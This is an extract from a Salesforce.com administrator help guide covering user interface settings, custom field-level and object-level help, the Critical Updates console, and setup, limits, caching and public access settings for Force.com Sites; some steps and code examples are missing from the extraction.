message recommending that they upgrade to one of the following supported versions:
• Microsoft® Internet Explorer version 7.0 and 8.0
• Mozilla Firefox 3.0.x
• Apple® Safari 3.2.x
Sidebar Settings
Enable Collapsible Sidebar
The collapsible sidebar gives users the ability to show or hide the sidebar on every Salesforce.com page that normally
includes the sidebar. When you select the Enable Collapsible Sidebar setting, the collapsible sidebar becomes
available to all users in your organization, but each user can choose his or her own preference for displaying the sidebar.
Users can leave the sidebar visible at all times, or they can collapse the sidebar and only show it when needed by clicking
the edge of the collapsed sidebar. For more information on using the collapsible sidebar, see About the Sidebar on page
49.
Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times
so you always have access to the Divisions drop-down list.
1249
Customize Customizing User Interface Settings
Calendar Settings
Enable Home Page Hover Links for Events
Select this checkbox to enable hover links in the calendar section of the Home tab. On the Home tab, users can hover
the mouse over the subject of an event to see the details of the event in an interactive overlay. This option is enabled by
default. Note that this checkbox only controls the Home tab; hover links are always available on other calendar views.
The fields available in the event detail and edit overlays are defined in a mini page layout.
Note: If you create all day events, Salesforce.com recommends adding the All Day Event field to the events
mini page layout.
Setup Settings
Enable Enhanced Page Layout Editor
Select this checkbox to activate the enhanced page layout editor for your organization. When enabled, the enhanced
page layout editor replaces the current interface for editing page layouts with a feature-rich WYSIWYG editor that
contains all of the functionality of the original page layout editor as well as several improvements.
1250
Customize Custom Help Overview
Advanced Settings
Activate Extended Mail Merge
Select this checkbox to activate Extended Mail Merge for your organization. When the checkbox is selected, the Mass
Mail Merge link is available in the Tools area on the home pages for accounts, contacts, and leads. Also, single mail
merges requested from the Activity History related list on a record are performed using Extended Mail Merge functionality.
For more information on using Salesforce.com to generate personalized form letters and other documents based on
templates, see Mail Merge Overview on page 1998.
Extended Mail Merge is available by request only. Contact salesforce.com Customer Support if you are interested in
this feature.
See Also:
Creating Records Using the Create New Drop-Down List
CUSTOM HELP
The Help & Training link at the top of every page opens the Salesforce.com Help & Training window which includes online
help topics, solutions, and recommended training classes. Additionally, the Help for this Page link on any page opens a
context-sensitive online help topic that describes that page.
Salesforce.com custom help functionality allows you to augment these standard help features with information on using fields
and functionality unique to your organization or the Force.com AppExchange app you are developing.
Custom help allows you to:
• Override the standard Salesforce.com context-sensitive online help topics for your custom objects using object-level help
1251
Customize Getting Started with Field-Level Help
• Add field-level help that displays when users hover their mouse over a field
See Also:
Defining Field-Level Help
Getting Started with Field-Level Help
Defining Object-Level Help
Getting Started with Object-Level Help
Creating Custom Fields
FIELD-LEVEL HELP
Implementation Tips
• Field-level help is enabled by default for all editions.
• Field-level help is not available for some standard fields, including fields on the User object, system read only fields,
auto-number fields, multi-currency fields, Salesforce CRM Ideas fields, and Community fields.
• The help text for a field is automatically added to a package when you add the associated field to any Force.com AppExchange
package.
• In a managed package, the help text is locked to the developer, giving installers full capabilities to change it.
Best Practices
• Because your custom help text displays on both edit and detail pages, avoid instructions for entering data. Instead, construct
help text that defines the field's purpose, such as:
The maximum discount allowed for this account.
• Provide information in your help text about the attributes of the field, such as:
A detailed description of the purpose for the expense report. Up to 32 KB of data
are allowed. Only the first 255 characters display in reports.
• Provide examples in your help text that help users understand the field's meaning clearly, such as:
The four-digit promotional code used to determine the amount charged to the customer,
for example, 4PLT (for level-four platinum pricing).
1252
Customize Defining Field-Level Help
• If your organization uses more than one language, provide translations for your Help Text using the Translation
Workbench.
See Also:
Custom Help Overview
Defining Field-Level Help
Creating Custom Fields
Field-level help allows you to provide help text detailing the purpose and function of any standard or custom field. You can
define custom help text for your organization's fields to provide users with a helpful description for any field on all detail and
edit pages where that field displays. Users can view the field-level help text by hovering over the Info icon next to the field.
To define field-level help:
1. Select the field for which you want to define custom help text:
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
See Also:
Custom Help Overview
Getting Started with Field-Level Help
Creating Custom Fields
1253
Customize Getting Started with Object-Level Help
OBJECT-LEVEL HELP
Implementation Tips
• Object-level help is available for all custom objects in the Salesforce.com editions that support custom objects.
• For maximum functionality and ease of development, use Visualforce pages rather than s-controls.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.
• When creating a Visualforce page to use for your object level help, create your page without a controller or with a custom
controller. You cannot use a standard controller or a standard list controller.
• When creating an s-control to use for your object-level help, select HTML or URL:
- For an HTML s-control, write your help content directly into the s-control body using HTML markup.
- For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.
.
• If you have defined object-level help for a custom object that you add to a Force.com AppExchange package, Salesforce.com
automatically adds the Visualforce page, static resource, or s-control referenced in your Context-Sensitive Help
Settings for that object.
• In managed packages, object level help is locked to the developer, giving installers the ability to change it if needed.
Best Practices
• The window that displays your object-level help has the same height and width dimensions as the standard Salesforce.com
Help & Training window. Be sure to size and style your content appropriately to increase usability of your custom help
content.
• To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com Style Guide for
Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to design your pages.
1254
Customize Defining Object-Level Help
• Because Visualforce pages or s-controls are the source of your object-level help content, you can use merge fields or other
functions to make the experience more personalized. For example, you can design the custom help to address the user
directly by adding the user's name to the help page when it is displayed.
See Also:
Custom Help Overview
Defining Object-Level Help
Object-level help overrides the Help for this Page links for any custom object with your own custom help content contained
in a Visualforce page or an s-control. To make object-level help available to all your users, simply create a Visualforce page or
an s-control that contains your help content and edit the custom object definition to reference that Visualforce page or s-control.
Object-level help becomes available to all your users instantly.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
1. Create a Visualforce page or an s-control of type HTML or URL that contains your help content.
• For a Visualforce page, create a Visualforce page that does not use a controller, or that uses a custom controller. Standard
controllers and standard list controllers cannot be used with pages that display object-level help.
• For an HTML s-control, write your help content directly into the s-control body using HTML markup.
• For a URL s-control, enter the URL of your help content. The URL can be an external website that hosts your help
content, or it can be a relative path to a static resource that contains your help content.
2. Edit the custom object definition that should use this custom help when users click the Help for this Page link for these
custom object records.
3. Choose Open a window using a Visualforce page or Open a window using a custom s-control from
the Context-Sensitive Help Setting.
4. Select the Visualforce page or s-control that contains your help content.
5. Click Save.
1255
Customize Replacing Salesforce.com Online Help
Tip:
You can use the action attribute on a <apex:page> component to redirect from a Visualforce page to a static
resource. This functionality allows you to add rich, custom help to your Visualforce pages. For example, to redirect a
user to a PDF:
Notice that the static resource reference is wrapped in a URLFOR function. Without that, the page does not redirect
properly.
Tip: To give your custom help a professional tone using Salesforce.com terminology, follow the Salesforce.com Style
Guide for Documentation and User Interface Text. To use the Salesforce.com styles, use Visualforce to design your
pages.
See Also:
Custom Help Overview
Getting Started with Object-Level Help
The values of the target and section parameters are unique for every page within the application. You can parse
these parameters to display context-sensitive help content for your users.
1256
Critical Updates Console Critical Updates Overview
Salesforce.com periodically releases updates that improve the performance, logic, and usability of Salesforce.com, but may
affect your existing customizations. When these updates become available, Salesforce.com lists them at Setup ➤ Critical
Updates, sends a notification email to administrators, and displays a message when administrators click Setup.
To ensure a smooth transition, each update has an opt-in period during which you can manually activate and deactivate the
update an unlimited number of times to evaluate its impact on your organization and modify affected customizations as
necessary. The opt-in period ends on the auto-activation date, at which time Salesforce.com permanently activates the update.
Caution: Salesforce.com recommends testing each update by activating it in either your Developer Sandbox or your
production environment during off-peak hours.
To manage critical updates, click Setup ➤ Critical Updates. From this page, you can:
• View the summary, status, and auto-activation date for any update that Salesforce.com has not permanently activated.
• Click Review to view the detail page of any update that Salesforce.com has not permanently activated. The details include
a list of the customizations in your organization that the update might affect and the activation history, which lists each
time the update was activated and deactivated.
• Click Activate to activate any inactive update.
• Click Deactivate to deactivate any active update that Salesforce.com has not permanently activated.
1257
Critical Updates Console Winter '10 Critical Updates
You can also choose to have Salesforce.com neither display the updates nor remind you. If you choose this option,
Salesforce.com will not display the message again until another new update is available.
See Also:
Winter '10 Critical Updates
• New Campaign Member Creation Behavior—Enables Salesforce.com to evaluate triggers, validation rules, and workflow
rules when you create campaign members using:
For more information, see What is the Winter '10 New Campaign Member Creation Behavior Update?
See Also:
Critical Updates Overview
1258
Critical Updates Console Winter '10 Critical Updates
What is the Winter '10 New Campaign Member Creation Behavior Update?
Available in: Professional, Enterprise, Unlimited, and Developer Editions
The Winter '10 New Campaign Member Creation Behavior update enables Salesforce.com to evaluate triggers, validation
rules, and workflow rules when you create campaign members using:
Additionally, the New Campaign Member Creation Behavior allows you to map import fields to campaign member custom
fields. For example, you can now map “Attended?” and “# Questions Asked” fields in an import file to campaign member
custom fields called “Attended?” and “# Questions Asked.”
When you activate this update, you have the option to run workflow and map campaign member custom fields when you
create campaign members using the Lead Import Wizard or Campaign Update Wizard. Workflow runs automatically and
default campaign member custom field values are automatically populated for campaign members created using Web-to-Lead
or the Campaign field when you create or clone a lead. For campaign members created using the Lead Import Wizard, you
can now define the Campaign Member Status on a per-row basis.
If you deactivate this update, Salesforce.com does not evaluate the triggers, validation rules, and workflow rules for campaign
members created using the Lead Import Wizard, Campaign Update Wizard, Web-to-Lead, or the Campaign field when
creating or cloning a lead, and you can't map import fields to campaign member custom fields.
Important: This critical update changes the behavior of campaign members created using the campaign member
wizards, Web-to-Lead, and the Campaign field when creating a new or cloned lead. Customizations to these features
may behave differently when you activate this update, for example:
• Lead and campaign member triggers dependent on simultaneous campaign member and lead creation won't work
because campaign members are created after leads.
• If import file data conflicts with existing campaign member triggers and validation rules, the leads and campaign
members will not be inserted.
• Apex triggers that result in leads being converted before being added to a campaign, for example, an after
insert trigger, result in a campaign member with only contact fields populated. These records are not included
in the campaign's converted lead count.
1259
Critical Updates Console Winter '10 Critical Updates
If your organization has any of these customizations, read the examples to understand how you might be affected and
how you can correct unintended functionality.
Salesforce.com recommends activating this update because it ensures that campaign members are created with the same rules
regardless of how they are created. and the quality of your data is improved.
Important: Activation of this update impacts campaign member records in the user interface, API, and desktop
clients, such as Connect for Outlook.
The Winter '10 New Campaign Member Creation Behavior update is automatically activated for new customers that sign up
after the Winter '10 release in October 2010; if this update is automatically activated, you can't deactivate it.
If this update is not activated by default, Salesforce.com automatically activates the update on the date specified in the
auto-activation column on the Critical Updates page. Before that time, Salesforce.com recommends testing the update by
activating it in your Sandbox or production environment during off-peak hours. You can activate and deactivate the update
an unlimited number of times.
Activating the Winter '10 New Campaign Member Creation Behavior Update
To activate the Winter '10 New Campaign Member Creation Behavior update:
Deactivating the Winter '10 New Campaign Member Creation Behavior Update
To deactivate the Winter '10 New Campaign Member Creation Behavior update:
• Update activated: You can choose to run workflow rules from the Lead Import Wizard. Your workflow rule is
evaluated for imported members and the newsletters are sent.
• Update deactivated: Your workflow rule isn't evaluated for members added to the campaign via the Lead import
Wizard and the newsletters aren't sent.
1260
Force.com Sites Sites Overview
• Update activated: The Apex trigger fires for campaign members updated using the Campaign update Wizard, and
the Number Attended campaign custom field is updated.
• Update deactivated: The Apex trigger doesn't fire for members updated using the Campaign Update Wizard and
the Number Attended campaign custom field isn't updated.
• Update activated: Campaign members imported with the status “RSVP-Yes” must also have the “RSVP-Yes” field
in the import file set to “TRUE,” or they aren't created.
• Update deactivated: You can import campaign members with the status “RSVP-Yes,” regardless of the “RSVP-Yes”
custom field value.
• Update activated: You can map these import fields during import to campaign member custom fields called “Attended?”
and “# Questions Asked.”
• Update deactivated: You cannot map these import fields to campaign member custom fields.
FORCE.COM SITES
Sites Overview
Available in: Developer, Enterprise, and Unlimited Editions
Salesforce.com organizations contain valuable information about partners, solutions, products, users, ideas, and other business
data. Some of this information would be useful to people outside your organization, but only users with the right access and
permissions can view and use it. In the past, to make this data available to the general public, you had to set up a Web server,
create custom Web pages ( JSP, PHP, or other), and perform API integration between your site and your organization.
Additionally, if you wanted to collect information using a Web form, you had to program your pages to perform data validation.
With Force.com sites, you no longer have to do any of those things. Force.com sites enables you to create public websites and
applications that are directly integrated with your Salesforce.com organization—without requiring users to log in with a
username and password. You can publicly expose any information stored in your organization through a branded URL of your
choice. You can also make the site's pages match the look and feel of your company's brand. Because sites are hosted on
1261
Force.com Sites Sites Overview
Force.com servers, there are no data integration issues. And because sites are built on native Visualforce pages, data validation
on collected information is performed automatically. You can also enable users to register for or log in to an associated portal
seamlessly from your public site.
The following examples illustrate a few ways that you can use sites:
• Create an ideas site—Use sites to host a public community forum for sharing and voting on ideas about your company,
services, or products. Ideas websites can be made public using sites.
• Publish a support FAQ—Provide helpful information on a public website where customers can search for solutions to
their issues.
• Create a store locator tool—Add a public tool to your portal that helps customers find stores in their area.
• Publish an employee directory—Add an employee directory to your company's intranet by creating a site restricted by IP
range.
• Create a recruiting website—Post job openings to a public site and allow visitors to submit applications and resumes online.
• Publish a catalog of products—List all of your company's products on a public website, with model numbers, current prices,
and product images pulled dynamically from your organization.
- http://mycompany.force.com/partners
- http://mycompany.force.com/developers
- http://mycompany.force.com/support
• Create a branded, custom Web address, such as http://www.mycompanyideas.com, by registering through a domain
name registrar. Create CNAME records to redirect your branded domain and subdomains to your Force.com domain
without exposing the force.com name in the URL. It can take up to 48 hours for your Force.com domain to become
available on the Internet. Custom Web addresses are not supported for sandbox or Developer Edition organizations.
Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com
suffix. In the following examples, the subdomain prefix is “mycompany,” the sandbox name is “mysandbox,” the instance
name is “na1,” and the sandbox instance name is “cs1”:
Sandbox https://mycompany.mysandbox.cs1.force.com
Production https://mycompany.secure.force.com
1262
Force.com Sites Sites Considerations
The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.
See Also:
Sites Considerations
Setting Up Sites
Managing Sites
Registering a Custom Force.com Domain
Creating and Editing Sites
Configuring Sites
Sites Limits and Billing
Reporting on Sites
Tracking Your Site with Google Analytics
About Syndication Feeds
Ideas Overview
Administrator setup guide: Force.com Sites Implementation Guide
Sites Considerations
Available in: Developer, Enterprise, and Unlimited Editions
• If you choose to create a branded top-level domain or subdomain through a domain name registrar, the CNAME
record that you provide to that registrar must be your Force.com domain name and not the site URL. For example,
if you entered mycompany when registering your Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.
• Custom Web addresses are not supported for sandbox or Developer Edition organizations.
Security
The following apply to security for sites:
• If the Require Secure Connections (HTTPS) checkbox on the Session Settings page is selected, and the
Require Non-Secure Connections (HTTP) checkbox on the Login Settings page is not selected, users logging
in to the associated portal from the site will see the secure.force.com domain. For example, if you registered
mycompany.force.com as your custom domain, the URL changes to https://mycompany.secure.force.com
upon login. For more information, see Managing Force.com Site Login and Registration Settings.
• Customers using a script to login to sites can use the optional refURL URL parameter to retain the custom domain
name after login. This parameter has no effect if Require Non-Secure Connections (HTTP) has been set for
the site or Require Secure Connections (HTTPS) has been set for the organization. An example URL using
refURL is: http://mysite.secure.force.com/SiteLogin?refURL=http://mysite.com.
1263
Force.com Sites Sites Considerations
• To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL associated with
your Force.com domain to access your site.
• Authenticated and non-authenticated users may see different error messages for certain conditions—for example,
on Apex exceptions.
• Only production organizations have the valid secure.force.com SSL certificates to access sites using HTTPS.
• Cache settings on static resources are set to private when accessed via a Force.com site whose guest user's profile has
restrictions based on IP range or login hours. Sites with guest user profile restrictions cache static resources only
within the browser. Also, if a previously unrestricted site becomes restricted, it can take up to 45 days for the static
resources to expire from the Salesforce.com cache and any intermediate caches.
Caution:
• Salesforce.com recommends setting the sharing to private for the objects on which you grant “Read” access
for your site. This ensures that users accessing your site can view and edit only the data related to your site.
• Salesforce.com also recommends securing the visibility of all list views. Set the visibility of your list views to
Visible to certain groups of users, and specify the groups to share to. List views whose visibility
is set to Visible to all users may be visible to public users of your site. To share a list view with public
users, create a new public group for those users and give them visibility. If the object's sharing is set to private,
public users will not be able to see those records, regardless of list view visibility.
Ideas
For ideas to work with sites, the organization must have an active portal associated with that community. Otherwise,
users will encounter errors.
Self-Registration
The following apply to self-registration for sites:
• Sites does not support the use of Person Accounts for self registration.
• Only Customer Portals can be used for self-registration. Partner portals do not support self-registration.
• On self-registration through a site:
Packaging
The following apply to packaging for sites:
• Sites are not packageable. However, you can package sample code, Visualforce pages, Apex classes, or components
for a site using a managed package.
• You must have Force.com sites enabled to be able to install unmanaged packages that contain Visualforce pages or
Apex classes that refer to a site.
Availability
Because Force.com sites are served directly from the Salesforce.com organization, a site's availability is directly related
to the organization's availability. During your organization's maintenance window for major releases, your sites will be
unavailable; users who try to access a site will see a Force.com-branded maintenance page or your custom Service Not
Available Page. It's a good idea to inform your site users of the release maintenance windows and related sites unavailability
in advance.
1264
Force.com Sites Sites Limits and Billing
Tip: You can also enable single sign-on for portals, as well as Sites.
See Also:
Sites Overview
Setting Up Sites
Caching Sites Pages
Sites Limits and Billing
Viewing 24-Hour Site Usage History
Setting Up Your Customer Portal
Force.com sites usage is governed by monthly and daily limits. Understanding these limits is important to the success of your
sites. Salesforce.com provides tools to help you reduce bandwidth consumption and monitor site usage so that you can avoid
exceeding these limits.
This topic contains the following sections:
1265
Force.com Sites Sites Limits and Billing
• “Rolling 24-hour period” refers to the 24 hours immediately preceding the current time.
• “Origin server” refers to the Web server that hosts your site.
• “Cache server” refers to the CDN server that serves your cached site pages.
• “Current period” refers to the current calendar month for which you are entitled a certain number of page views for your
organization.
Edition Maximum Number Bandwidth Limit (per rolling Service Request Time (per Maximum Page
of Sites 24-hour period per site) rolling 24-hour period per Views
site)
Developer Edition 1 500 MB 10 minutes N/A
Free Edition 1 10 GB 360 minutes 250,000
Enterprise Edition 25 1 GB for sandbox 30 minutes for sandbox 500,000
40 GB for production 60 hours for production
Make sure to consider all of the available caching options to help you avoid reaching these limits, and use the Site Usage
analytics tools to monitor your sites.
1266
Force.com Sites Sites Limits and Billing
Robots.txt http://mycompany.force.com/robots.txt
Note: Usage of the Bandwidth Limit Exceeded Page, the Maintenance Page, and the designated Inactive Home
page are not counted against page view and bandwidth limits. You can use static resources to brand these pages,
but the following limitations apply:
• Static resources must be 50 KB or smaller in size.
• Static resources must be stylesheets (CSS), image files, or javascript files.
• You cannot use Apex controllers for these pages.
• You cannot perform SOQL or DML operations from these pages.
See Also:
Sites Overview
Caching Sites Pages
Viewing 24-Hour Site Usage History
Reporting on Sites
Tracking Your Site with Google Analytics
1267
Force.com Sites Caching Sites Pages
Force.com sites enforces two 24-hour rolling limits—bandwidth and service request time—which vary by organization type.
Though the limits are high for active production organizations, your site could exceed the limit due to heavy traffic or pages
that consume lots of bandwidth or processing time. “Rolling 24-hour period” refers to the 24 hours immediately preceding
the current time.
Sites provide caching options that allow you to leverage the resources of our Content Delivery Network (CDN) partner to
improve page load times and site performance, as well as help you avoid reaching bandwidth or service request time limits.
Sites allows you to set the cache duration for each of your site pages and optimize content delivery to your end users.
Control the caching behavior for your site by setting the Boolean cache attribute and integer expires attribute on each
Visualforce page. By default, pages that do not have the cache attribute set are cached for ten minutes (600 seconds).
For example, a page whose cache is set to expire in 15 minutes looks like this:
Note: The CDN is only available for active production organizations. It is not available for sandbox or Developer
Edition organizations.
To protect the integrity of sensitive information, SSL sessions and pages requested after authentication are not cached
via the CDN.
Attachments to public pages accessed through sites are automatically cached for 10 minutes via the CDN.
Other factors also affect caching behavior, such as the type of user accessing the page, whether the request comes from the
caching server, and whether the site is login-enabled. The following tables summarize the caching behavior for each of these
cases.
For Requests Coming from the Caching Server
If the site is login-enabled:
1268
Force.com Sites Caching Sites Pages
See Also:
Sites Overview
Sites Limits and Billing
Setting Up Sites
Viewing 24-Hour Site Usage History
Reporting on Sites
Tracking Your Site with Google Analytics
1269
Force.com Sites Setting Up Sites
Setting Up Sites
Available in: Developer, Enterprise, and Unlimited Editions
Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
To set up a Force.com site:
See Also:
Sites Overview
Managing Sites
Creating and Editing Sites
Configuring Sites
Associating a Portal with Sites
1270
Force.com Sites Managing Sites
Managing Sites
Available in: Developer, Enterprise, and Unlimited Editions
Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
To get started using Force.com sites, click Setup ➤ Develop ➤ Sites. From this page, you can:
• Register your Force.com domain, if you have not yet done so.
• View all sites hosted on your Force.com domain.
• Click New to create a new site.
• Click Edit to make changes to an existing site.
• Click Activate or Deactivate to change the active status for your site.
Caution: Be careful not to expose any information that you do not want to make public.
See Also:
Sites Overview
Setting Up Sites
Creating and Editing Sites
Configuring Sites
Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
1271
Force.com Sites Registering a Custom Force.com Domain
To get started, register your company's Force.com domain. This one domain name is used for all the sites that you create.
Even if you register a branded Web address for your site, you must choose a Force.com domain. The branded URL will be
redirected to the Force.com domain.
To register your Force.com domain:
3. Click Check Availability to confirm that the domain name you entered is unique. If it is not unique, you are prompted
to change it.
4. Read and accept the Sites Terms of Use by selecting the checkbox.
5. Click Register My Force.com Domain. After you accept the Terms of Use and register your Force.com domain, the
changes related to site creation are tracked in your organization's Setup Audit Trail and the Site History related list. It
may take up to 48 hours for your registration to take effect.
Note: The format of the secure URLs for your Force.com sites depends on the organization type or Edition. Your
unique subdomain prefix is listed first, followed by Edition or environment type, then instance name and the force.com
suffix. In the following examples, the subdomain prefix is “mycompany,” the sandbox name is “mysandbox,” the instance
name is “na1,” and the sandbox instance name is “cs1”:
Sandbox https://mycompany.mysandbox.cs1.force.com
Production https://mycompany.secure.force.com
The subdomain prefix for Developer Edition is limited to 22 characters. The secure URL is displayed on the Login
Settings page.
See Also:
Sites Overview
Sites Considerations
Setting Up Sites
1272
Force.com Sites Creating and Editing Sites
Force.com sites enables you to create public websites and applications that are directly integrated with your Salesforce.com
organization—without requiring users to log in with a username and password.
After registering your Force.com domain, create a Force.com site using the following steps:
Field Description
Site Label The name of the site as it appears in the user interface.
Site Name The name used when referencing the site in the Web services API. This name
can contain only underscores and alphanumeric characters, and must be unique
in your organization. It must begin with a letter, not include spaces, not end with
an underscore, and not contain two consecutive underscores.
Site Description An optional description of the site.
Site Contact The user who will receive site-related communications from the site's visitors
and salesforce.com.
Default Web Address The unique Force.com URL for this site. Force.com provides the first part of
the URL based on the domain name that you registered; you must add a unique
site name to the end. Unless you configure a custom Web address through a
domain name registrar, this is the URL that the public will use to access your
site.
Secure Web Address The unique Force.com URL for this site when using SSL. The secure Web
address is used for SSL even if you defined a custom Web address.
Custom Web Address The optional branded custom Web address that you registered with a third-party
domain name registrar. The custom Web address acts as an alias to your
Force.com address.
To enable a custom Web address, create a CNAME record to your Force.com
domain with that registrar. If you have not registered this address, you encounter
an error. Custom Web addresses are not available in sandbox or Developer
Edition organizations.
1273
Force.com Sites Creating and Editing Sites
Field Description
Note: If you choose to create a branded top-level domain or subdomain
through a domain name registrar, the CNAME record that you provide
to that registrar must be your Force.com domain name and not the site
URL. For example, if you entered mycompany when registering your
Force.com domain, the CNAME must be mycompany.force.com,
not the full value of the site URL.
Active The option that activates your site when you are ready to make it available to the
public. You can also activate your site from the Sites and Site Details pages.
When the site is inactive, users will see the page specified in the Inactive
Site Home Page field.
Active Site Home Page The landing page that users are directed to when this site is active. Use the lookup
field to find and select the Visualforce page that you developed for your site's
home page. Choose the UnderConstruction page if you just want to test your
site.
For ideas sites, you must use the IdeasHome page and for answers sites you must
use the AnswersHome page. The “look and feel” for your Ideas site or Answers
site will be inherited from its associated portal unless you select a site template.
If you deployed a site before the Summer '10 release, you can set AnswersHome
as your default landing page if you create a Visualforce page using <apex:page
action="{!URLFOR('/answers/answersHome.apexp')}"/>
Inactive Site Home Page The landing page that users are directed to when this site is inactive. Use the
lookup field to find and select the page that you want to use. You can, for example,
select a page to indicate that the site is under construction or down for
maintenance.
Site Template The template that provides the page layout and stylesheet for your site. The site
template overrides any formatting inherited from the associated portal. Use the
lookup field to find and select a template that you've developed, or use the
out-of-box template provided.
Note: The site template specified here is used only for Visualforce pages
using the $Site.Template expression.
Site Robots.txt A file that determines which parts of your public site Web spiders and other
Web robots can access. Web robots are often used by search engines to categorize
and archive websites. HTML tags are not allowed, as they are not compatible
with robots.txt spiders. For Visualforce pages, add
contentType="text/plain" to the <apex:page> tag.
<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: / # Disallow indexing of all pages
</apex:page>
1274
Force.com Sites Creating and Editing Sites
Field Description
Example allowing all robots to index all pages:
<apex:page contentType="text/plain">
User-agent: * # Applies to all robots
Disallow: # Allow indexing of all pages
</apex:page>
Site Favorite Icon The icon that appears in the browser's address field when visiting the site. Use
this field to set the favorite icon for your entire site instead of for each page.
Changes will be reflected on your site one day after you make them, due to
caching.
Analytics Tracking Code The tracking code associated with your site. This code can be used by services
like Google Analytics to track page request data for your site.
URL Rewriter Class An Apex class to use for rewriting URLs for your site, from Salesforce.com URLs
to user-friendly URLs. With this class, you can make rules to rewrite site URL
requests typed into the address bar, launched from bookmarks, or linked from
external websites. You can also create rules to rewrite the URLs for links within
site pages.
For more information, see “Site.UrlRewriter” in the Force.com Apex Code
Developer's Guide.
Enable Feeds The option that displays the Syndication Feeds related list, where you can create
and manage syndication feeds for users on your public sites. This field is visible
only if you have the feature enabled for your organization.
4. Click Save.
See Also:
Sites Overview
Setting Up Sites
Managing Sites
Configuring Sites
Sites-Related Apex Methods and Expressions
1275
Force.com Sites Configuring Sites
Configuring Sites
Available in: Developer, Enterprise, and Unlimited Editions
Once you have created your site, you can configure it on the Site Details page. To access this page, click Setup ➤ Develop
➤ Sites, and then in the Sites list, click the site name. You can do the following:
• Click Preview as Admin to view your site in administrator preview mode. Administrator preview mode shows the errors
on each site page in context and in greater detail, so you can more easily troubleshoot site issues.
• Click Edit in the Site Visualforce Pages or Site Standard Pages related lists to select the pages available for your site. All
pages associated with the site must be enabled.
• Click Page Assignment to assign error pages for standard errors, such as “Authorization Required (401)” and “Page Not
Found (404).” You can override or edit the default pages that are provided.
• Click New in the Feeds related list to create a new syndication feed. You must click Enable Feeds in the Site Detail list
to display this related list.
• View the 24-Hour Usage History related list to see current bandwidth and service request time usage, the daily limits, and
the percentage used.
1276
Force.com Sites Reporting on Sites
• View the Site History related list to see the configuration changes that have been tracked for your site.
See Also:
Sites Overview
Creating and Editing Sites
Managing Force.com Site Visualforce Pages
Managing Force.com Site Standard Pages
Assigning Force.com Site Error Pages
Viewing 24-Hour Site Usage History
Viewing Force.com Site History
Public Access Settings for Sites
Managing Force.com Site Login and Registration Settings
About Syndication Feeds
Reporting on Sites
Available in: Developer, Enterprise, and Unlimited Editions
To create, edit, save, and delete reports: “Run Reports” and “Read” on the records included in the
reports
AND
“Create and Customize Reports”
To keep track of your site activity and usage, take advantage of the Sites Usage Reporting managed package to analyze your
monthly page views, daily bandwidth, and daily service request time so you can avoid reaching monthly and daily limits for
individual sites, as well as for your organization.
To get started using Salesforce.com analytics for sites:
1277
Force.com Sites Reporting on Sites
Report Description
Current Period Page Views Shows the total page views for the current period (calendar month), measured against
page views allowed. Page views are broken down by site and by day. The current period
limit applies to all sites within the organization.
Daily Total Bandwidth Usage Shows the total bandwidth usage over the last 30 days, broken down by site, by day, and
by origin and cache servers.
Daily Total Page Views Shows the total page views over the last 30 days, broken down site, by day, and by origin
and cache servers.
Site Daily Origin Bandwidth Shows the total origin bandwidth usage over the last 30 days, broken down by site and
Usage by day.
Site Daily Request Time Usage Shows the total origin service request time over the last 30 days, broken down by site and
by day.
Top Bandwidth Consuming Sites Shows the sites that consumed the most bandwidth during the current period.
Top Resource Consuming Sites Shows the sites that consumed the most service request time during the current period.
Top Sites by Page Views Shows the sites that generated the most page views during the current period.
1278
Force.com Sites Public Access Settings for Sites
Note: When you create your own custom reports using the Site Usage Reports custom report type, be aware that the
Origin Bandwidth column is measured in bytes, and the Request Time column is measured in milliseconds.
Make sure you consider the difference in units when comparing these columns to the Daily Bandwidth Limit
and Daily Request Time Limit columns, which are measured in megabytes and minutes, respectively.
For the out-of-the-box reports included with the managed package, bandwidth is measured in megabytes and request
time is measured in minutes.
See Also:
Sites Overview
Viewing 24-Hour Site Usage History
Tracking Your Site with Google Analytics
Reports Overview
Dashboards Overview
Public access settings control what public users can do on each Force.com site. To set the public access settings for your site:
1279
Force.com Sites Public Access Settings for Sites
• Click Edit to set the public access permissions for your site. You can grant “Read” and “Create” permissions on all
standard objects except products, price books, and ideas; and “Read,” “Create,” “Edit,” and “Delete” on all custom
objects. All permissions that are not set by default must be set manually.
Caution: Salesforce.com recommends setting the sharing to private for the objects on which you grant “Read”
access for your site. This ensures that users accessing your site can view and edit only the data related to your
site.
Salesforce.com also recommends securing the visibility of all list views. Set the visibility of your list views to
Visible to certain groups of users, and specify the groups to share to. List views whose visibility
is set to Visible to all users may be visible to public users of your site. To share a list view with public
users, create a new public group for those users and give them visibility. If the object's sharing is set to private,
public users will not be able to see those records, regardless of list view visibility.
• Click Edit to control the visibility of custom applications in the Custom App Settings section of the page. If you want
to expose a custom application and its associated tabs to public users, make only that application visible and make it
the default to avoid exposing other pages. If any of your site pages uses standard Salesforce.com headers, other visible
applications may be seen by public users.
• Click Edit on the Login Hours related list to set the hours during which users can access the site.
• Click New on the Login IP Ranges related list to restrict the IP address ranges from which you can access the site.
Force.com sites ignore company-wide IP range restrictions in order to provide public access; however, you can restrict
the IP range here.
Note: To set restrictions based on IP or login hours, HTTPS is required. You must use the secure URL
associated with your Force.com domain to access your site.
